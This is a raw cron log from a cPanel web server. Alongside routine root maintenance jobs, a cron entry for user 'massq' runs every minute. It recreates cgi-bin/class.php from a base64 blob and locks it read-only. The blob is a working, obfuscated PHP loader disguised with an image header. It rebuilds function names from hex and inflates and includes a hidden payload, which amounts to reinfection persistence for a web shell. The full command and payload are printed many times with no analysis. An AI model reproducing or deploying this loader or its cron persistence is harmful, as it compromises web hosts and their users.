Nov 13 07:48:01 server CROND[28656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:49:01 server CROND[29604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:50:01 server CROND[30568]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:50:01 server CROND[30569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:50:01 server CROND[30570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:50:01 server CROND[30572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:50:01 server CROND[30571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 07:51:01 server CROND[31632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:52:01 server CROND[32241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:53:01 server CROND[648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:54:01 server CROND[1429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:55:01 server CROND[2383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:55:01 server CROND[2385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:55:01 server CROND[2386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:56:01 server CROND[3311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:57:01 server CROND[4202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:57:01 server CROND[4203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:58:01 server CROND[5013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:59:01 server CROND[5870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:00:01 server CROND[6804]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 13 08:00:01 server CROND[6805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:00:01 server CROND[6806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:00:01 server CROND[6809]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 08:00:01 server CROND[6808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:00:01 server CROND[6807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:01:01 server CROND[7819]: (root) CMD (run-parts /etc/cron.hourly)
